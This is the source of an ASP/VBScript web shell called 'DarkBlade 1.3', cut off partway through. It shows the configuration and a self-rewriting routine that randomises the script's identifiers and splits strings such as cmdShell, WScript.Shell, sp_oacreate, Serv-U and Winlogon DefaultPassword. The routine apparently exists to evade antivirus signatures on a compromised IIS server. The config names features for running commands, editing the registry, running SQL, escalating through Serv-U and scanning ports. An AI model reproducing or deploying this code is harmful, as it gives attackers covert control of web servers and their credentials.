%@ LANGUAGE='VBScript' CODEPAGE='65001'%> <% Response.Buffer=True Response.CharSet="utf-8" Server.ScriptTimeOut=300 '-------------------------------Config------------------------------- 'Private version, do not share it to anybody! 'DarkBlade 1.3 by B100d5w0rd, msn:bloodsword@live.cn 'Final version, no more update 'Thanks to these hackers:Bin, Luyu, Sht Const pass="109707CB7C10970CCA81ACE832947C" 'tencentisapieceofshit Const needEncode=True Const encodeNum=20 Const isDebugMode=False Const encodeCut="_" Const pamtoEncode="thePath|cmdPath|cmdStr|connStr|queryStr|regPath|pubPam|txtObjInfo|StrTable|mdbPath|searchkey|suUser|suPass|suPath|suCmd|targetUrl|portList|dicList|ipList|destName|loadpath" Const showLogin="login" Const defaultChr="GB2312" Const aspExt="asp|asa|cer|cdx" Const textExt="asp|asa|cer|cdx|aspx|asax|ascx|cs|jsp|php|txt|inc|ini|js|htm|html|xml|config" Const sqlPageSize=50 Const fToPre="zzzzzzzz.html" Const bOtherUser=True ' '-------------------------------Config------------------------------- '-------------------Transform sign------------------ Const transformSign="'-------------------Transform sign------------------" Const notToTransform="upload|action|file|password|text|server|title|user|login|value|port|filename|name|htmlEnc|type|http|pass|files|path|attributes|goaction|info|download|logout|login|content|charset|font|color|size|value|width|rows|class|name|value|width|size|color|save|down|span|echo|form|byval|find|vbcrlf" Const strs_toTransform="command|Radmin|NTAuThenabled|FilterIp|IISSample|PageCounter|PermissionChecker|BrowserType|ContentRotator|SystemRoot|ComSpec|PATHEXT|PROCESSOR|ARCHITECTURE|IDENTIfIER|REVISION|Physical|Memory|Installed|NUMBER_OF_PROCESSORS|PROCESSOR_ARCHITECTURE|Os2LibPath|NameServer|DefaultGateway|HKEY|HKLM|LOCAL_MACHINE|SOFTWARE|CurrentVersion|Winlogon|CurrentControlSet|ControlSet001|WinStations|RDP-Tcp|PROCESSOR_IDENTIfIER|PROCESSOR_LEVEL|PROCESSOR_REVISION|Windows NT|AutoAdminLogon|DefaultUserName|DefaultPassword|ComputerName|DisplayLastUserName|anonymous|LanmanServer|AutoShareServer|EnableSharedNetDrives|EnableSecurityFilters|Engines|SandBoxMode|openrowSet|sp_oacreate|sp_oamethod|sp_oasetproperty|net user|PasswordExpired|Scripting.|.FileSystemObject|Shell.|.Application|WScript.|.Shell|.Stream|Adodb.|.Connection|.RecordSet|MSXML2.|.XMLHTTP|SoftArtisans.|.FileUp|.FileManager|Persits.|MSWC.|xplog70|addextEndedproc|master|cmdShell|regwrite|system32|SetDOMAIN|TZOEnable|43958|Serv-U|SetUSERSetUP|LoginMesFile|RelPaths|DELETEDOMAIN|MAINTENANCE|Maintenance|HomeDirDrive|NeedSecure|HideHidden|AlwaysAllowLogin|ChangePassword|QuotaEnable|SpeedLimitUp|SpeedLimitDown|MaxNrUsers|IdleTimeOut|RWAMELCDP|upadmin|LocalAdministrator|13709620|444553540000|72C24DD5|98424B88AFB8|Server.Execute|Eval|localgroup|MaxUsersLoginPerIP|Server.Execute|ShellExecute|Terminal|Unauthorized|DarkBladePass|AuThenticate|AUTH_USER|WinDir|ExecuteGlobal|sp_addsrvrolemember" Const funcs_toTransform="SavetoFile|CopyFile|OpenTextFile|CreateTextFile|DeleteFile|GetParentFolder|GetExtension|CreateFolder|MoveFolder|GetFileName|CopyFolder|MoveFile|DeleteFolder|NameSpace|Environment|ExpandEnvironmentStrings|RegRead|Exec|Run|GetSystemInformation|Save|CopyHere|MoveHere|ReadAll|DriveLetter|DateCreated|LastModIfied|LastAccessed|Filesystem|TotalSize|PasswordMinimumLength|AccountDisabled|IsAccountLocked|AccountExpirationDate|LoadFromFile" Dim currentPath,tmpPath,objCountFile,tempFileData,splitArray,strArray_toTransform,str_transformed,varArray_forbidden,funcArray_toTransform,total,arr_notToTransform,var_toTransform_list,strArr_toTransform,funcArr_toTransform,regex,filetopretEnd,nopretEnd,strForbidden strForbidden="dim|sub|end|for|and|now|get|Set|chr|int|day|int|rnd|not|len|mid|sun|asc|cos|app|xor|imp|fix|atn|err|rgb|else|const|true|false|call|each|then|next|redim|error|null|empty|until|loop|case|step|log|dir|stop|str" Set regex=new RegExp regex.Global=True regex.IgnoreCase=True regex.MultiLine=True arr_notToTransform=Split(notToTransform,"|") funcArr_toTransform=Split(funcs_toTransform,"|") var_toTransform_list="" strArr_toTransform=Split(strs_toTransform,"|") strUbound=UBound(strArr_toTransform) filetopretEnd=request("filetopretEnd") nopretEnd=request("nopretEnd") serveren=request("serveren") Call transinit() Sub transinit() If filetopretEnd=""And nopretEnd=""Then Call userInit() response.End Else Call Transform() End If Response.Redirect"?goaction=login" End Sub Sub userInit() Dim fsoX,theFolder Set fsoX=CreateObj("Scripting.FileSystemObject") Set theFolder=fsoX.GetFolder(mapath(".")) echo"
" End Sub Sub Transform() Dim fsoX,crlf crlf=Chr(13)&Chr(10) currentPath=mapath(getCurrentFileName(request.ServerVariables("URL"))) tempFileData=readSelf(currentPath) splitArray=Split(tempFileData,transformSign) If nopretEnd=""Then nopretEnd=0 tempFileData=Replace(splitArray(0)&splitArray(3),"encodeNum=20","encodeNum="&getRndNum(20,81)) If nopretEnd<>1 And filetopretEnd<>""Then tempFileData=Replace(tempFileData,"zzzzzzzz.html",filetopretEnd) If serveren<>""Then tempFileData=Replace(tempFileData,"GB2312",serveren) tempFileData=Replace(tempFileData,Chr(9),"") tempFileData=Replace(tempFileData,crlf&crlf,crlf) tempFileData=Replace(tempFileData,crlf&crlf,crlf) do_varTransform() do_strTransform() do_funcTransform() saveSelf currentPath,tempFileData End Sub Function readSelf(thePath) Set fsoX=CreateObj("Scripting.FileSystemObject") Set objCountFile=fsoX.OpenTextFile(thePath,1,True) readSelf=objCountFile.ReadAll objCountFile.Close Set objCountFile=Nothing End Function Sub saveSelf(thePath,fileContent) Set fsoX=CreateObj("Scripting.FileSystemObject") Set objCountFile=fsoX.CreateTextFile(thePath,True) objCountFile.Write tempFileData objCountFile.Close Set objCountFile=Nothing End Sub Sub do_varTransform 'Sub/Function Transform Dim matchColl,arr_varToTransform,matchArr regex.Pattern="(sub|function) +[\w]+(?= *\()" regex.Global=True regex.IgnoreCase=True regex.MultiLine=True Set matchColl=regex.Execute(tempFileData) For Each matched In matchColl matched=regRep(matched,"(sub|function) +","",False) addToVarArr matched Next For Each tmpVar_toTramsform In Split(var_toTransform_list,"|") do_varReplace tmpVar_toTramsform,0 Next var_toTransform_list="" 'Var Transform regex.Pattern="dim +[\w ,]+" Set matchColl=regex.Execute(tempFileData) For Each matched In matchColl matched=Lcase(matched) matched=Trim(Replace(Lcase(matched),"dim ","")) For Each varToTransform In Split(matched,",") addToVarArr varToTransform Next Next regex.Pattern="const\s+[\w]+(?=\s*=)" Set matchColl=regex.execute(tempFileData) For Each matched In matchColl matched=Replace(Lcase(matched),"const","") matched=Trim(Replace(Lcase(matched),"set","")) addToVarArr matched Next 'Parameter Transform regex.Pattern="(function|sub)\s+[\w]+\([\w,]+" Set matchColl=regex.execute(tempFileData) For Each matched In matchColl matched=getRight(Lcase(matched),"(") For Each subPam In Split(matched,",") If InStr(subPam," ")>0 Then subPam=getRight(subPam," ") addToVarArr Trim(subPam) Next Next regex.Pattern="case\s*""[^\r\n]+""" Set matchColl=regex.execute(tempFileData) For Each matched In matchColl matched=regRep(matched,"case\s*""","",False) matched=Replace(matched,"""","") If InStr(matched,",")>0 Then For Each subMacthed In Split(matched,",") addToVarArr Trim(subMacthed) Next Else addToVarArr matched End If Next For Each tmpVar_toTramsform In Split(var_toTransform_list,"|") do_varReplace tmpVar_toTramsform,3 Next var_toTransform_list="" End Sub Sub do_varReplace(varToTransform,intType) If varToTransform=""Then Exit Sub Dim varTransformed,strPattern varTransformed=getRndStr() strForbidden=strForbidden&"|"&Lcase(varTransformed) varToTransform=Replace(varToTransform,".","\.") Select Case intType Case 0 strPattern="([^\w\\])"&varToTransform&"(?![\w\\])" tempFileData=regRep(tempFileData,strPattern,"$1"&varTransformed,False) Case Else strPattern="([^\w\\])"&varToTransform&"(?![\w\\])" tempFileData=regRep(tempFileData,strPattern,"$1"&varTransformed,False) End Select End Sub Sub do_strTransform() For Each str_toTransform In strArr_toTransform do_strReplace str_toTransform Next End Sub Sub do_strReplace(str) If str=""Then Exit Sub Dim rndNum,str_transformed,strPattern rndNum=getRndNum(2,Len(str)-3) str_transformed=Left(str,rndNum)&"""&"&getRndStr()&"&"""&Right(str,Len(str)-rndNum) strPattern="\b"&Replace(Replace(str,".","\."),"_","\_")&"\b" echo strPattern&"